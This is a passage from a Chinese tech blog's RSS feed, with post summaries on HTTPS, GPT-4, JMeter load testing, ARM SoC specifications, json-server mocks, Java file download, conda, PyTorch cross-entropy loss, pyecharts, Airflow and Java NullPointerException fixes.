      <description>具体来说，HTTPS协议对HTTP协议进行了加强，主要增加了以下协议：&#xA;SSL/TLS协议：这是HTTPS的核心安全协议。它提供了一种安全的通信机制，可以在客户端和服务器之间建立一个安全通道，从而保证数据的机密性、完整性和可靠性。SSL/TLS协议使用数字证书来验证通信双方的身份，并使用公钥加密算法来加密数据。&#xA;加密算法：HTTPS使用一系列加密算法来保护通信数据的机密性。常用的加密算法包括AES、DES、3DES和RC4等。&#xA;数字证书：数字证书用于验证通信双方的身份。数字证书是由认证机构（CA）颁发的一种电子文档，包含了通信双方的公钥、通信双方的身份信息以及认证机构的数字签名等信息。&#xA;对称密钥加密：HTTPS在建立安全通道之后使用对称密钥加密算法来加密数据。对称密钥加密算法是一种速度较快、处理量较小的加密算法，可以在通信双方之间快速、可靠地加密和解密数据。&#xA;通过以上协议，HTTPS可以确保通信内容的安全性和完整性，保护用户的隐私和数据安全。</description>
    </item>
    <item>
      <title>GPT 4.0 你知道的和你不知道的？</title>
      <link>https://bchobby.github.io/posts/111935f59d10c2c78b5ba5b12a555f25/</link>
      <pubDate>Thu, 23 Mar 2023 19:48:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/111935f59d10c2c78b5ba5b12a555f25/</guid>
      <description>GPT 4.0 人工智能聊天机器人 介绍GPT 4.0之前，先给大家介绍一下整理的一个类ChatGPT相关的工具，有可以总结论文的、微软作图的、反ChatGPT检测的、数据标注的等等工具，感兴趣的小伙伴可以访问：github链接&#xA;言归正传&#xA;今天我们主要介绍一下GPT 4.0.&#xA;思维导图 基本上解决了之前以字符为粒度的问题。 代码生成和Debug的能力 运行成功！Amazing！ 图片理解 GPT-4可以按像素处理其中的文字和图片，并给出对整篇论文的总结摘要 做物理题 总结 发布GPT-4的API&#xA;https://openai.com/waitlist/gpt-4-api&#xA;公布技术论文 * 公开System Card&#xA;https://cdn.openai.com/papers/gpt-4.pdf&#xA;ChatGPT Plus：集成GPT-4的ChatGPT升级版&#xA;https://chat.openai.com/chat&#xA;工具整理：&#xA;https://github.com/pengwei-iie/A_survey_and_tools_of_ChatGPT&#xA;更多有趣MRC文章见：复旦团队发布国内首个模型MOSS 类ChatGPT&#xA;【OpenAI 多模态预训练】VideoGPT？微软透露GPT-4或将在下周发布&#xA;GPT4来了？10秒钟做一个网站&#xA;ChatGPT？听说Biying把它下架了&#xA;又一个国内类ChatGPT模型？【秘塔科技上线自研LLM大模型「对话写作猫」】&#xA;BERT用于文本分类方法&#xA;利用逆向思维的机器阅读理解&#xA;相关文献&#xA;情感支撑对话综述&#xA;Bi-directional Cognitive Thinking Network for Machine Reading Comprehension 论文阅读&#xA;证据推理网络&#xA;Hybrid Curriculum Learning for Emotion Recognition in Conversation</description>
    </item>
    <item>
      <title>使用JMeter 进行压力测试</title>
      <link>https://bchobby.github.io/posts/8051683563a3402fcc8e8b330da0bbec/</link>
      <pubDate>Thu, 23 Mar 2023 19:06:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8051683563a3402fcc8e8b330da0bbec/</guid>
      <description>前言 Apache JMeter是Apache组织开发的基于Java的压力测试工具。用于对软件做压力测试，它最初被设计用于Web应用测试，但后来扩展到其他测试领域。 它可以用于测试静态和动态资源，例如静态文件、Java 小服务程序、CGI 脚本、Java 对象、数据库、FTP 服务器， 等等。JMeter 可以用于对服务器、网络或对象模拟巨大的负载，来自不同压力类别下测试它们的强度和分析整体性能。另外，JMeter能够对应用程序做功能/回归测试，通过创建带有断言的脚本来验证你的程序返回了你期望的结果。为了最大限度的灵活性，JMeter允许使用正则表达式创建断言。&#xA;一、准备工作&#xA;安装Java环境以及jmeter&#xA;二、实现步骤 1.启动jmeter 进入bin目录，使用jmeter.bat启动程序。&#xA;启动之后会有两个窗口，一个cmd窗口，一个JMeter的 GUI。 cmd窗口：&#xA;其中cmd窗口中的提示信息意思为&#xA;不要使用GUI运行压力测试，GUI仅用于压力测试的创建和调试；执行压力测试请不要使用GUI。使用下面的命令来执行测试：&#xA;jmeter -n -t [jmx file] -l [results file] -e -o [Path to web report folder]&#xA;并且修改JMeter批处理文件的环境变量：HEAP=&#34;-Xms1g -Xmx1g -XX:MaxMetaspaceSize=256m&#34;&#xA;JMeter ：&#xA;2.创建测试 1.创建线程组 在“测试计划”上右键 【添加】--&amp;gt;【线程（用户）】--&amp;gt;【线程组】&#xA;设置线程数和循环次数。这里设置线程数为200，循环两次。&#xA;2.配置元件 在刚刚创建的线程组上右键 【添加】--&amp;gt;【配置元件】--&amp;gt;【HTTP请求默认值】配置需要进行测试的程序协议、地址和端口，当所有的接口测试的访问域名和端口都一样时，可以使用该元件，一旦服务器地址变更，只需要修改请求默认值即可。&#xA;3.构造HTTP请求 在“线程组”右键 【添加-】-&amp;gt;【samlper】--&amp;gt;【HTTP 请求】设置需要测试的API的请求路径和数据。&#xA;4.添加HTTP请求头 在创建的线程组上右键 【添加】--&amp;gt;【配置元件】--&amp;gt;【HTTP信息头管理器】可以在这里配置token以及Content-Type&#xA;5.添加断言 在创建的线程组上右键 【添加】--&amp;gt;【断言】--&amp;gt;【响应断言】&#xA;根据响应的数据来判断请求是否正常。我在这里只判断的响应代码是否为200。还可以配置错误信息&#xA;6.添加察看结果树 在创建的线程组上右键 【添加】--&amp;gt;【监听器】--&amp;gt;【察看结果树】&#xA;然后点击运行按钮就可以看到结果&#xA;7.添加聚合报告 在创建的线程组上右键 【添加】--&amp;gt;【监听器】--&amp;gt;【聚合报告】&#xA;然后点击运行按钮就可以看到结果了&#xA;8.测试计划创建完成 保存测试计划</description>
    </item>
    <item>
      <title>RK3588参数 rk3288处理器属于什么档次</title>
      <link>https://bchobby.github.io/posts/563d215d52f977ea81b97de4764dd59f/</link>
      <pubDate>Thu, 23 Mar 2023 18:22:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/563d215d52f977ea81b97de4764dd59f/</guid>
      <description>RK3588是瑞芯微旗下最新的8K旗舰SoC芯片，采用ARM架构，主要用于PC、边缘计算设备、个人移动互联网设备和其他数字多媒体应用。&#xA;RK3588集成了四核Cortex-A76和四核Cortex-A55，以及单独的NEON协处理器，支持8K视频编解码。许多功能强大的嵌入式硬件引擎为高端应用提供了优化的性能。具有丰富的功能接口，可满足不同行业的产品定制需求。&#xA;rk3588芯片架构图&#xA;RK3588具有十分丰富的拓展接口，高度集成化的SoC设计，可有效降低整机成本。&#xA;RK3588集成了嵌入式ARM Mali G610 3D GPU，支持OpenGLES 1.1、2.0、3.2，OpenCL 2.2和Vulkan1.2。带有MMU的特殊2D硬件引擎将最大限度地提高显示性能，并提供非常平稳的操作。&#xA;RK3588引入了新一代完全基于硬件的最大4800万像素ISP（图像信号处理器）。它实现了许多算法加速器，如HDR、3A、LSC、3DNR、2DNR、锐化、dehaze、鱼眼校正、伽马校正等。&#xA;内置NPU支持INT4/INT8/INT16/FP16混合运算，运算能力高达6TOPS。此外，凭借其强大的兼容性，基于TensorFlow/MXNet/PyTorch/Caffe等一系列框架的网络模型可以轻松转换。&#xA;RK3588具有高性能四通道外部内存接口（LPDDR4/LPDDR4X/LPDDR5），能够维持要求的内存带宽，还提供一整套外围接口，以支持非常灵活的应用程序。SCENSMART.COM&#xA;RK3588性能怎么样这些点很重要 http://www.adiannao.cn/dy&#xA;处理器&#xA;四核ARM Cortex-A76 和四核Cortex-A55 组成的八核CPU处理器，高性能，低功耗和缓存应用处理器&#xA;全面实施ARM体系结构v8-A指令集，ARM Neon Advanced SIMD (单指令，多数据) 支持加速媒体和信号处理&#xA;ARMv8密码学扩展&#xA;信任区技术支持&#xA;每个Cortex-A76集成64KB L1指令缓存、64KB L1数据缓存和512KB L2缓存&#xA;每个Cortex-A55集成32KB L1指令缓存、32KB L1数据缓存和128KB L2缓存&#xA; 大集群和小集群共享3mb L3缓存&#xA; CPU核心系统的八个独立电源域，支持内部电源开关，并根据不同的应用场景从外部打开/关闭&#xA; PD_CPU_0: 1 Cortex-A55 + Neon + FPU + L1/L2小集群I/D缓存&#xA; PD_CPU_1: 第二Cortex-A55 + Neon + FPU + L1/L2小集群I/D缓存&#xA; PD_CPU_2: 第三Cortex-A55 + Neon + FPU + L1/L2小集群I/D缓存</description>
    </item>
    <item>
      <title>VScode和phpstudy制作网页的配置问题</title>
      <link>https://bchobby.github.io/posts/215d20fb42356ef94c2f160a270ec84e/</link>
      <pubDate>Thu, 23 Mar 2023 18:01:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/215d20fb42356ef94c2f160a270ec84e/</guid>
      <description>自己摸索出来的，试过了，可以用。&#xA;步骤1 下载VS code： https://code.visualstudio.com/Download&#xA;步骤2 下载phpstudy： https://www.xp.cn/&#xA;步骤3 phpstudy中的配置 phpstudy里需要下载的软件 步骤4 配置环境变量：此电脑—&amp;gt;右击—&amp;gt;属性—&amp;gt;高级系统设置 步骤5 VS code需要下载的扩展 注意 我用的数据库是phpstudy里自带的(下图) 点击“管理”&#xA;有啥问题可以留言讨论 (•̀ᴗ• ) 我不会总有大佬会！◔.̮◔✧</description>
    </item>
    <item>
      <title>电视盒子cpu天梯图排行榜 2023电视盒子cpu对比评测</title>
      <link>https://bchobby.github.io/posts/bf8ed69d1c944d8ae05482fa155ea673/</link>
      <pubDate>Thu, 23 Mar 2023 17:52:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf8ed69d1c944d8ae05482fa155ea673/</guid>
      <description>一、2023电视盒子cpu对比评测&#xA;目前国内主流就是晶晨、瑞芯微、mtk、全志等品牌处理器芯片，晶晨、瑞芯微是用的比较多的，也是比较好的，接下来就来看看这两个芯片的主流cpu对比：&#xA;电视盒子选哪款好这些点很重要看过你就懂了 http://www.adiannao.cn/dy&#xA;1.晶晨芯片&#xA;晶晨半导体的机顶盒解决方案支持许多业界的格式和标准，既有多款视频样式的高清晰输出，又有支持带IPTV功能的DVB标准。其全面广泛的功能为客户设计下一代机顶盒提供了良好的支持和平台。&#xA;1.1 晶晨S922X&#xA;在传统电视盒子上，晶晨S922X处理器就是四核A73架构，采用了目前最先进的10nm技术制造，可以提供比Cortex-A72高出30%的持续处理能力，非常适合移动设备和消费级设备使用，也是目前国内主流中性能配置是最高的。&#xA;电视盒子cpu天梯图排行榜 2023电视盒子cpu对比评测&#xA;1.2 晶晨A311D&#xA;这款芯片和上面的晶晨S922X是一个级别的，不同的是，这款芯片不仅拥有晶晨最好的配置，同时加入了人工智能的元素，拥有一块5T算力的NPC，对于算力的认知通俗点讲就是20个晶晨A311D芯片就能实现特斯拉的无人驾驶功能，在跑分参数方面，晶晨A311D芯片为单核1359分，多核3688分。&#xA;1.3 晶晨S912&#xA;晶晨S912芯片的配置是一款8核64位高端全4K多媒体处理器，采用28nm HKMG工艺，SoC内部集成的资源相当丰富，八核64位 ARM Cortex-A53 处理器，ARM Mali-T820MP3 GPU，支持超高清4K 60fps硬件解码，支持H.265/VP9 10比特, H.264和AVS+等众多格式。&#xA;1.4 晶晨S9105X4&#xA;晶晨S905X4采用12nm制程，核心架构是四核Cortex-A55，整数计算能力（DMIPS）较高，可达21800+。DMIPS这里就不进行科普了，我们一般都把MIPS作为性能指标的单位，越高当然越好。&#xA;1.5 晶晨S9105X3&#xA;这个比上一个晶晨S905X4芯片的配置要低一些，不过在整体算力上也是挺高的。&#xA;2.瑞芯微芯片&#xA;2.1 瑞芯微RK3566&#xA;瑞芯微RK3566是一款面向物联网应用的SoC，采用A55架构处理器，搭载G52图形处理器，支持双屏异显，且有着强大的视频解码能力并能高效并发处理多小图解析，最终实现8-10路1080P30 H264/H265、HDR10、图像后处理、动态码率、帧率、分辨率调节等功能。具体可以看这个内容：瑞芯微RK3566芯片性能怎么样？瑞芯微RK3566评测怎么样？.&#xA;2.2 瑞芯微RK3399&#xA;瑞芯微RK3399是由本土芯片厂商瑞芯微（Rockchip）研发的高性能、低功耗“中国芯”，使用六核大LITTLE处理器：包括四核的Cortex-A53和双核的Cortex-A72，主频可达2.0GHz。芯片兼容3G、4G网络通讯，接口资源丰富、整体性能方面优异，比如USB3.0、MIPI双摄像头等设备接口。在操作系统的使用上也有很多可选性，用户可以选择Android/Linux/Debain等作为操作系统，也可以选择菲尼克斯、Flint OS等轻型办公开发环境，常用软件都可兼容。&#xA;2.3 瑞芯微RK3368&#xA;瑞芯微RK3368采用八核64位ARM Coretex-A53内核架构，28nm工艺设计，运行主频为1.5GHz；GPU为PowerVR G6110，支持OPENGL ES 3.1； RK3368视频能力超强，支持4K×2K视频，H.264/H.265硬解码以及HDMI 2.0@60Hz输出；系统平台为Android 5.1 Lollipop；支持Security OS及主流DRM 与HDCP2.2安全标准。</description>
    </item>
    <item>
      <title>使用json server 模拟接口(mock数据的创建以及增删查改)</title>
      <link>https://bchobby.github.io/posts/8297a957780db91512a8b21690851d0e/</link>
      <pubDate>Thu, 23 Mar 2023 17:43:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8297a957780db91512a8b21690851d0e/</guid>
      <description>mock数据是用来模拟后端提供的数据，用json文件代替接口 1.安装&#xA;npm install -g json-server 2.使用步骤&#xA;在src文件下新建文件夹mock,创建data.json文件&#xA;src/mock/data.json&#xA;写模拟数据&#xA;3.注意：data文件模拟数据的书写要求非常严格：&#xA;1）所有的key必须添加双引号&#34;&#34;,而且必须要有id这个key&#xA;2)所有的key都代表一个接口&#xA;3）所有的key对应的value，最外层必须是一个数组&#xA;例：&#xA;{ &#34;newgoods&#34;:[ { &#34;id&#34;: 1, &#34;name&#34;: &#34;裤子&#34;, &#34;price&#34;: 79, &#34;sales&#34;: 4070000, &#34;stock&#34;: 50000 }, { &#34;id&#34;: 2, &#34;name&#34;: &#34;袜子&#34;, &#34;price&#34;: 29, &#34;sales&#34;: 4070000, &#34;stock&#34;: 50000 } ], &#34;user&#34;:[ { &#34;id&#34;: 1, &#34;name&#34;: &#34;maria&#34;, &#34;sex&#34;:&#34;女&#34;, &#34;age&#34;: 13 }, { &#34;id&#34;: 2, &#34;name&#34;: &#34;lucy&#34;, &#34;sex&#34;:&#34;女&#34;, &#34;age&#34;: 20 }, { &#34;id&#34;: 3, &#34;name&#34;: &#34;George&#34;, &#34;sex&#34;:&#34;男&#34;, &#34;age&#34;: 18 } ] } 4.</description>
    </item>
    <item>
      <title>使用Java实现远程文件下载到本地目录</title>
      <link>https://bchobby.github.io/posts/abfb226e2a852febc85dbf2519ca0240/</link>
      <pubDate>Thu, 23 Mar 2023 16:32:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abfb226e2a852febc85dbf2519ca0240/</guid>
      <description>使用Java实现远程文件下载到本地目录 文章目录 使用Java实现远程文件下载到本地目录前言一、正文介绍二、测试介绍总结 前言 今天开发时遇见了一个下载附件的需求，他的附件是存在一个网盘里查询时只是给我返回了一个https的路径，需要通过这个路径把附件下载到本地的目录里&#xA;一、正文介绍 import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.nio.channels.Channels; import java.nio.channels.ReadableByteChannel; /** * @Author * @Date * @Version 1.0 * &amp;lt;p&amp;gt;备注：远程文件下载到本地 方法二选一&amp;lt;p&amp;gt; */ public class downloadUtil { /** * 下载远程文件并保存到本地 * * @param remoteFilePath-远程文件路径 * @param localFilePath-本地文件路径（带文件名） */ public static void downloadFile1(String remoteFilePath, String localFilePath) { URL urlfile = null; HttpURLConnection httpUrl = null; BufferedInputStream bis = null; BufferedOutputStream bos = null; File f = new File(localFilePath); try { urlfile = new URL(remoteFilePath); httpUrl = (HttpURLConnection) urlfile.</description>
    </item>
    <item>
      <title>conda环境安装</title>
      <link>https://bchobby.github.io/posts/42734c24c83efc4f4e9cc6fab2ac0321/</link>
      <pubDate>Thu, 23 Mar 2023 16:14:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42734c24c83efc4f4e9cc6fab2ac0321/</guid>
      <description> 之前用的anaconda，并且程序都在一个环境下用，有时会乱，现在用minconda&#xA;anaconda官网production-anaconda distribution页面最下面一行，有miniconda的链接https://docs.conda.io/en/latest/miniconda.html&#xA;conda create -n envkunpy python=3.9 # 创建名为envkunpy的环境，并安装python3.9版本 conda info --envs # 查看所有已安装虚拟环境 conda activate envkunpy #激活envkunpy环境 conda list #查看当前环境下安装的包 conda config --add channels conda-forge # 有的包找不到，添加一个新的源 cat ~/.condarc #显示当前有的源 conda deactivate #退出虚拟环境 conda remove -n envkunpy --all # 删除名为envkunpy的虚拟环境 </description>
    </item>
    <item>
      <title>理解与使用torch的CrossEntropy Loss</title>
      <link>https://bchobby.github.io/posts/66436c5c66481593925f23c971c26959/</link>
      <pubDate>Thu, 23 Mar 2023 15:42:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66436c5c66481593925f23c971c26959/</guid>
      <description>交叉熵误差函数形式不难，但是使用起来却容易出错，这里记录一下自己的理解。&#xA;使用形式 torch提供了类和函数两种形式来使用交叉熵误差函数，其中类的形式在源码中调用了函数形式，所以使用哪一种都可以：&#xA;importtorch.nnasnnimporttorch.nn.functionalasF# 函数形式：out=F.cross_entropy(pred,target)# 类的形式：func=nn.CrossEntropy()# 括号不要掉，定义一个对象out=func(pred,target) 底层计算逻辑 假设输入的是一个shape=[3, 5]的张量，3表示batch_size（N），5表示类别数（C），这一步可以是神经网络的最后一层全连接层的输出。先定义好输入和标签：&#xA;a=torch.randn(3,5)print(a)----------------tensor([[-0.6311,0.4457,0.5320,0.5855,-0.2480],[0.5942,0.2531,0.7998,-0.4247,-0.2831],[1.5852,1.9026,0.7302,-2.0489,-0.5581]])target=torch.tensor([2,4,3],dtype=torch.long) 对于这样的输出容易理解：3个样本，每一个样本分别属于5种类别的“得分”。因为概率值一定是[0, 1]的数，所以需要使用softmax函数来将“得分”转化为“概率值”：&#xA;input=a.softmax(dim=1)print(input)----------------------tensor([[0.0835,0.2451,0.2672,0.2818,0.1225],[0.2691,0.1913,0.3305,0.0971,0.1119],[0.3398,0.4668,0.1445,0.0090,0.0399]]) 这里的dim参数为什么=1呢？因为我们需要知道的是，每一个样本属于C种类别的概率是多少，所以样本与样本之间是独立的，而这里每一行是一个样本，所以需要沿着横轴同时将5个数据映射到softmax函数。&#xA;随后，就可以计算交叉熵误差，公式：&#xA;�=−∑�=1��������ln⁡������&#xA;代码：&#xA;-(torch.log(input[0][target[0]])+torch.log(input[1][target[1]])+torch.log(input[2][target[2]]))/3----------------------tensor(2.7411) 这里有几个问题：&#xA;代码这样写看上去target中的值只是索引？&#xA;target值确实是索引，只是这里的处理逻辑和torch的处理逻辑不同，torch先将target转换成shape同input的one-hot编码形式：&#xA;importtorchimporttorch.nn.functionalasFdefto_one_hot(tensor,num_clsses):asserttensor.dim()&amp;lt;=1,&#34;[Error] tensor.dim &amp;gt;= 1&#34;one_hot=torch.zeros(len(tensor),num_clsses)idx=range(len(tensor))one_hot[idx,tensor.reshape(-1,)]=1returnone_hotbatch_size=10num_classes=5target=torch.randint(num_classes,size=(batch_size,))# 非delta标签分布target_delta=to_one_hot(target,num_classes) 然后将target和input进行元素对应相乘，然后使用log函数。这里的处理方式就直接分别取出三个样本的标签值的索引，三个样本的标签索引分别是2, 4, 3，所以应该取出这三个值：&#xA;然后映射到log函数中：&#xA;torch.log&#xA;得到三个负值，三个负值相加取均值，得到一个batch的平均损失值（如果从input中选出的三个值越大，那么映射到log中值的绝对值越小，也就是损失越小）。&#xA;2. 取均值还是累加和？&#xA;torch源码默认取的是均值，可以传入reduction参数来修改：&#xA;defcross_entropy(input:Tensor,target:Tensor,weight:Optional[Tensor]=None,size_average:Optional[bool]=None,ignore_index:int=-100,reduce:Optional[bool]=None,reduction:str=&#34;mean&#34;,# 默认取均值)-&amp;gt;Tensor: 基于上述案例使用封装函数 注意这里的a是softmax操作前的结果，这是由于函数内部有softmax操作，具体见官方文档：&#xA;F.cross_entropy(a,target)----------------------tensor(2.7411) binary cross entropy loss 交叉熵误差函数还有一种特殊情况，即二值交叉熵误差。比如一个正负例预测问题中，希望网络输出结果为1或0，网络输出的是一个值，需要首先将该值隐射到sigmoid函数中，以限制值的范围到(0, 1)，然后再和标签值进行计算。其中pred的shape=(N, )，target的shape=(N, )。使用方式如下所示：&#xA;defloss_fn(pred,target):pred=pred.reshape(-1)target=target.reshape(-1)critical=nn.functional.binary_cross_entropy_with_logits(pred,target)returncritical 这里使用了binary_cross_entropy_with_logits，该函数自带sigmoid操作，所以网络输出值直接传进来即可，不需要我们自己手动sigmoid。&#xA;另外，如果我们的输入值趋近于0或1，那么经过log函数得到的结果趋近于无穷大，这种情况下反向求导会无法继续计算下去，pytorch的解决方案是将经过Log后的结果限制在[-100, 100]内的范围，这样就可以保证梯度存在且可以继续计算。&#xA;Reference:&#xA;(62条消息) pytorch语义分割中CrossEntropyLoss()损失函数的理解与分析_北斗星辰001的博客-CSDN博客</description>
    </item>
    <item>
      <title>pyecharts 图表更改颜色</title>
      <link>https://bchobby.github.io/posts/06b9cf6da548e2eabc047fc981672678/</link>
      <pubDate>Thu, 23 Mar 2023 14:34:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06b9cf6da548e2eabc047fc981672678/</guid>
      <description>基本结构：&#xA;from pyecharts import * import pandas as pd page = Page() df = pd.read_csv(&#39;12个城市的空气和环境数据/PRSA_Data_20130301-20170228/PRSA_Data_Tiantan_20130301-20170228.csv&#39;, encoding=&#39;utf-8&#39;) df.dropna(inplace=True) df.reset_index(drop=True, inplace=True) # 添加 x轴数据 month = [] for i in range(1, 13): month.append(i) pm25 = df.groupby([&#39;month&#39;])[&#39;PM2.5&#39;].mean() temp = df.groupby([&#39;month&#39;])[&#39;TEMP&#39;].mean() bar = Bar(&#34;月份&#34;, &#34;PM2.5-TEMP&#34;, title_color=&#34;green&#34;) bar.add(&#39;PM2.5&#39;, month, pm25, item_color=&#39;#00c853&#39;) bar.add(&#39;TEMP&#39;, month, temp, xaxis_name=&#34;月份&#34;, yaxis_name=&#34;PM2.5/温度&#34;) page.add_chart(bar, &#39;bar&#39;) page.render(&#34;颜色.html&#34;) 1. 对于整个条形图 title_color 设置标题的颜色 subtitle_color 设置副标题的颜色 background_color 设置背景颜色 简单实验一下：&#xA;bar = Bar(&#34;月份&#34;, &#34;PM2.5-TEMP&#34;, title_color=&#39;green&#39;, subtitle_color=&#39;yellow&#39;,background_color=&#39;#64b5f6&#39;) 2.</description>
    </item>
    <item>
      <title>Airflow环境搭建</title>
      <link>https://bchobby.github.io/posts/08ccdbd43e6a8a050391395e88d7e254/</link>
      <pubDate>Thu, 23 Mar 2023 11:49:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08ccdbd43e6a8a050391395e88d7e254/</guid>
      <description>1 Airflow简介 1.1 简介 Apache Airflow是⼀个提供基于DAG（有向⽆环图）来编排⼯作流的、可视化的分布式任务调度平台（也可单机），与Oozie、Azkaban等调度平台类似。Airflow在2014年由Airbnb发起，2016年3⽉进⼊Apache基⾦会，在2019年1⽉成为顶级项⽬。Airflow采⽤Python语⾔编写，并提供可编程⽅式定义DAG⼯作流（编写Python代码）。当⼯作流通过代码来定义时，它们变得更加可维护、可版本化、可测试和协作。&#xA;Airflow的可视化界⾯提供了⼯作流节点的运⾏监控，可以查看每个节点的运⾏状态、运⾏耗时、执⾏⽇志等。也可以在界⾯上对节点的状态进⾏操作，如：标记为成功、标记为失败以及重新运⾏等。在Airflow中⼯作流上每个task都是原⼦可重试的，⼀个⼯作流某个环节的task失败可⾃动&#xA;或⼿动进⾏重试，不必从头开始跑。&#xA;Airflow通常⽤在数据处理领域，也属于⼤数据⽣态圈的⼀份⼦。当然Airflow也可以⽤于调度⾮数据处理的任务，只不过数据处理任务之间通常都会存在依赖关系。⽽且这个关系可能还⽐较复杂，⽤crontab等基础⼯具⽆法满⾜，因此更需要被调度平台编排和管理。&#xA;例如：&#xA;时间依赖：任务需要等待某⼀个时间点触发&#xA;外部系统依赖：任务依赖外部系统需要调⽤接⼝去访问&#xA;任务间依赖：任务 A 需要在任务 B 完成后启动，两个任务互相间会产⽣影响&#xA;资源环境依赖：任务消耗资源⾮常多， 或者只能在特定的机器上执⾏&#xA;Airflow拥有和 Hive、Presto、MySQL、HDFS、Postgres 和 S3 交互的能力，并且拥有很好地扩展性。除了一个命令行界面，该工具还提供了一个基于 Web 的用户界面让您可以可视化管道的依赖关系、监控进度、触发任务等。&#xA;传统 Workflow 通常使用 TextFiles (json,xml/etc ) 来定义 DAG ,然后 Scheduler 解析这些 DAG 文件形成具体的 TaskObjec t执行； Airflow 没这么干，它直接用 Python 写 DAG definition ,一下子突破了文本文件表达能力的局限，定义 DAG 变得简单。&#xA;1.2 设计原则 动态：Airflow配置为代码（Python），允许动态生成pipeline。 这允许编写动态实例化的pipelines代码。&#xA;自定义：轻松定义自己的opertators，执行程序并扩展库，使其符合适合您环境的抽象级别。&#xA;优雅：Airflow精益而明确。 使用强大的Jinja模板引擎将参数化脚本内置于Airflow的核心。&#xA;可扩展：Airflow具有模块化体系结构，并使用消息队列来协调任意数量的工作者。 Airflow已准备好扩展到无限远。&#xA;特点&#xA;Python脚本实现DAG，非常容易扩展&#xA;可实现复杂的依赖规则&#xA;外部依赖较少，搭建容易，仅依赖DB和rabbitmq&#xA;工作流依赖可视化。有一套完整的UI，可视化展现所有任务的状态及历史信息&#xA;完全支持crontab定时任务格式，可以通过crontab格式指定任务何时进行&#xA;业务代码和调度系统解耦，每个业务的流程代码以独立的Python脚本描述，里面定义了流程化的节点来执行业务逻辑，支持任务的热加载&#xA;1.3 功能简介 2 Airflow架构详解 2.</description>
    </item>
    <item>
      <title>caj文件怎么转换成pdf格式？三步搞定</title>
      <link>https://bchobby.github.io/posts/e98c2c046e26be6ba26dc404b9840eaa/</link>
      <pubDate>Thu, 23 Mar 2023 10:21:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e98c2c046e26be6ba26dc404b9840eaa/</guid>
      <description>当我们需要查阅一些文献资料时，往往会遇到CAJ文件格式的问题。这种格式需要使用专业的阅读工具才能打开，让我们的阅读体验变得十分不便。为了解决这个问题，我们可以将CAJ文件转换成PDF文件格式。这样，无论我们使用什么设备，都可以轻松地打开文件。那么怎么转换呢？今天教大家三步搞定。&#xA;步骤一：访问记灵在线工具&#xA;打开您的浏览器，访问记灵在线工具的官方网站（https://remeins.com/）。在网站首页的输入框中输入CAJ，找到并打开CAJ转PDF功能菜单。&#xA;步骤二：上传Caj文件&#xA;在“CAJ转PDF”的页面中，点击“选择文件”按钮，然后在弹出的对话框中选择要转换的Caj文件。您可以一次选择多个文件，或者拖拽文件到页面中直接上传。&#xA;步骤三：开始转换并下载&#xA;上传完成后，点击页面底部的“确认转换”按钮，等待转换过程完成。转换时间根据文件大小和网络速度而异，通常只需要几秒钟到几分钟不等。转换完成后下载即可得到转换后的文件。&#xA;总之，将Caj文件转换成PDF格式是一件很简单的事情，只需要三个步骤即可完成。首先需要打开在线转换工具，然后将Caj文件上传，最后进行转换并保存为PDF格式即可。</description>
    </item>
    <item>
      <title>出现java.lang.NullPointerException的可能原因及解决方案</title>
      <link>https://bchobby.github.io/posts/2aa1509ee0ec3fa0f284a34db7a3b91d/</link>
      <pubDate>Thu, 23 Mar 2023 09:00:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aa1509ee0ec3fa0f284a34db7a3b91d/</guid>
      <description> 出现 java.lang.NullPointerException 错误通常是因为代码中出现了一个空引用，即 null。当尝试对这个空引用进行操作时，就会出现 NullPointerException 错误。以下是可能导致该错误的几个原因：&#xA;对象未被正确初始化：当对象未被正确初始化时，它的值将为 null。在尝试访问该对象的方法或属性时，就会出现 NullPointerException 错误。参数为空：如果将 null 作为方法的参数传递，当方法尝试访问该参数时，就会出现 NullPointerException 错误。数组为空：如果数组不被正确地初始化，或者数组的某个元素为 null，当尝试访问该元素时，就会出现 NullPointerException 错误。集合为空：如果集合不被正确地初始化，或者集合中包含 null 元素，当尝试访问该元素时，就会出现 NullPointerException 错误。在多线程应用中，有些线程可能会修改或清空对象或集合，而其他线程仍在使用这些对象或集合，从而导致 NullPointerException 错误。类路径不正确：当类路径不正确时，Java 可能无法正确加载类。这可能会导致 NullPointerException 错误。 综上所述，最常见的原因是对象未被正确初始化或者有 null 值的参数、数组或集合。因此，开发人员需要避免这些情况并进行适当的错误处理。&#xA;解决方案：&#xA;检查空引用&#xA;在代码中检查可能出现空引用的地方，并在使用前判断是否为null。可以使用if语句或者三目运算符进行判断。检查调用方法的参数&#xA;如果是调用方法出现了NullPointerException错误，可以检查传递给方法的参数是否为null。在方法中使用断言或者if语句进行判断。检查类的初始化&#xA;如果是在类的构造函数或者静态初始化块中出现了NullPointerException错误，可以检查类的初始化是否正确。检查类中的变量是否被正确初始化，是否有空指针异常。使用Optional类&#xA;Java 8引入了Optional类，可以避免空引用的问题。使用Optional类，可以将可能为空的变量包装在Optional对象中，然后使用Optional类的方法进行操作。使用断言&#xA;可以使用断言对空引用进行检查，如果为空则抛出异常。在Java中使用assert语句进行断言。使用日志&#xA;使用日志记录空引用的位置和原因，有助于快速定位和解决问题。&#xA;综上所述，避免空引用是解决java.lang.NullPointerException错误的最有效方法。 </description>
    </item>
    <item>
      <title>vscode编辑rmarkdown文件无法运行</title>
      <link>https://bchobby.github.io/posts/b6fd59e0fa9279bb213a47ec457819b7/</link>
      <pubDate>Thu, 23 Mar 2023 09:00:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6fd59e0fa9279bb213a47ec457819b7/</guid>
      <description>问题 使用vscode编辑rmarkdown文件无法运行代码块&#xA;没有出现运行按钮&#xA;原因 这是因为文件后缀没有与rmarkdown关联。&#xA;解决办法 在设置中，搜索找到这个项目：Files.Associations，把其设置更改为下面内容：&#xA;代码就可以运行了~&#xA;参考</description>
    </item>
    <item>
